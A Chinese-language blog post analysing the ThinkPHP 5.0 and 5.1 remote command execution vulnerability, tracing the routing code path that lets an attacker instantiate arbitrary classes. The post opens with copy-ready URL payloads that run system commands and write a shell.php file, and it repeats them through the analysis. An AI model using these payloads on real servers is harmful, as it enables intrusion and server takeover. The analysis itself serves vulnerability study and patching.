ThinkPHP 5.0 & 5.1远程命令执行漏洞利用分析

0x01 漏洞利用方式

5.0版本POC(不唯一)

命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

5.1版本POC(不唯一)

命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]
文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

0x02 漏洞分析

版本: Thinkphp v5.1.29(影响版本<5.1.31和<5.0.23)
本次分析环境:PHP/7.0.12 + Apache2

ThinkPHP官方在12月9日发布了5.*版本的更新,更新说明“由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞”,所以漏洞的触发在路由调度时,thinkphp中由函数pathinfo()来获取路由,定位函数查看:/thinkphp/library/think/Request.php:678行


pathinfo()

其中在文件31行定义了var_pathinfo的默认值为s :

// PATHINFO变量名 用于兼容模式
'var_pathinfo'   => 's'

所以当请求报文中以GET形式传入s参数是,则将其值作为pathinfo。全局查找pathinfo()函数的调用情况,可以发现同文件下path函数对其进行调用,定位path()函数查看:/thinkphp/library/think/Request.php:716行
path()

调用pathinfo()函数获取路由信息,并将返回值赋值给了$this->path,所以我们可以控制该变量,即path()函数的返回值,继续跟踪path函数的调用情况,定位函数routecheck():/thinkphp/library/think/App.php:583行


routecheck()

该函数进行路由检测,且将我们可控的$path变量传递到了check()函数中进行处理,定位查看check()函数:/thinkphp/library/think/Route.php:877行


check()

这里我们就可以看出为何官方说明,在开启强制路由的情况下不受该漏洞的影响,如果开启强制路由,则check处理传入的由我们构造的$url变量时会实例化RouteNotFoundException对象,即报出对应的错误。


RouteNotFoundException

而默认路由解析情况下,check()函数实例化了UrlDispatch对象,并将$url传递给了构造函数进行处理,UrlDispatch继承Dispatch,分析其父类Dispatch的构造函数,跟踪查看:library/think/route/Dispatch.php:64行


Dispatch构造函数

传入的$dispatch变量值赋值给了$this->dispatch,全局收索$this->diapatch的处理情况,最终会传入Url类中的init()函数进行处理,跟踪查看init()函数:/thinkphp/library/think/route/dispatch/Url.php:20行


Url类的init()

init()函数调用parseUrl()函数对$this->diapatch变量进行处理,跟踪查看:/thinkphp/library/think/route/dispatch/Url.php:37行


parseUrl()

ParseUrl()函数又将变量传入到了parseUrlPath()函数中,继续定位查看parseUrlPath()函数:/thinkphp/library/think/route/Rule.php:951行


parseUrlPath()

利用‘/’对$url变量进行分割,且$url的格式为‘模块/控制器/操作’,将$url分割后的值存放在$path变量当中,并返回到parseUrl()函数,最终返回到Url类中init()函数: /thinkphp/library/think/route/dispatch/Url.php:20行


Url类的init()

最终分割后封装好的路由信息数组传递到了$result变量中,随后传递到了Module的构造函数进行处理,由于Module的父类也是Dispatch,即将$result值传递给了变量$this->dispatch,随后调用Module类的init()函数对$this->dispatch进行处理,定位查看:/thinkphp/library/think/route/dispatch/Module.php:27行


Module类的init()

在初始化模块的判断语句中,对$module进行判断,则需要$available的值为true,即需要is_dir($this->app->getAppPath() . $module 的判断条件成立,由于默认模块是index,所以入口模块为index,也可以用‘.’进行替换。$this->dispatch的值最终传递到$this->controller中,init()函数处理完过后,进入exec()函数,查看函数代码: /thinkphp/library/think/route/dispatch/Module.php:85行


exec()

exec()函数将变量$this->controller传递给了controller()函数进行处理,继续跟踪controller()进行查看:/thinkphp/library/think/App.php:720行


controller()

该函数中的$name变量是由我们控制的,随后调用parseModuleAndClass()函数对其进行出来,跟进parseModuleAndClass()函数:/thinkphp/library/think/App.php:641行
parseModuleAndClass()

当$name中存在’\’时,直接将$name值赋给$class,然后实例化$class,并返回,这里可能有些人不知道为什么会实例化$class,在parseModuleAndClass()函数执行后返回到controller()函数中


controller()

其中返回了$class变量,所以调用魔术方法__get()函数进行处理,App类是继承于Container的,所以可以去查看Container类中的魔术方法__get()

public function __get($name)
{
return $this->make($name);
}

__get()调用了make()函数,跟踪查看:/thinkphp/library/think/Container.php:260行


make()

make()将传入的传入的变量实例化为一个类,即controller()中$name为我们可以控制的值,可以通过构造$name变量来实例化任何一个类,所以我们可以通过构造s=index/\think\class/method来实例化\think\class类并且执行该类的method方法达到控制程序流,由于Rule.php中parseUrlPath()函数中:

$url = str_replace('|', '/', $url);

所以也可以使用’|’进行进行构造,即index|\think\class|method。在\think\Request类中找到可以利用的方法input:


input()

通过构造payload:

s=index/\think\Request/input&filter=phpinfo&data=1

即可调用phpinfo函数,调用system()函数便可以任意命令执行。


phpinfo

在\think\template\driver\file类中找到可以任意写文件的方法write:


write()

所以通过构造payload:

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
写入文件

便可以在网站根目录写入任意恶意文件,从而达到控制目标服务器的目的,可以调用进行恶意操作的类比较多。

对于Thinkphp5.0版本的,其路由控制器实现原理是一样的,只是各种调用方式和函数名不太相同,这里不详细分析,漏洞利用时调用的方法不一样,通过查找可以利用app类中的invokeFunction方法:
invokeFunction()

通过实例化ReflectionFunction类,调用function函数,由于变量$var为数组,所以可以构造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
phpinfo

通过构造payload:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>

便可以达到任意写的目的:


写入文件

同5.1版本一样,其parseUrlPath函数在处理$url时也进行了替换处理:

$url = str_replace('|', '/', $url);

所以payload中的’/’也可以利用’|’进行替换。该漏洞的利用方法不唯一,针对Thinkphp5.*的不同版本可以寻找不同的类进行调用。

漏洞分析仅用于学习!!!一切实际攻击利用行为概不负责。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 148,637评论 1 318
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 63,443评论 1 266
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 99,164评论 0 218
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 42,075评论 0 188
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 50,080评论 1 266
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 39,365评论 1 184
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 30,901评论 2 283
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 29,649评论 0 176
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 33,122评论 0 223
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 29,734评论 2 225
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,093评论 1 236
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 27,548评论 2 222
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,028评论 3 216
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 25,765评论 0 9
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,291评论 0 178
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 34,162评论 2 239
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 34,293评论 2 242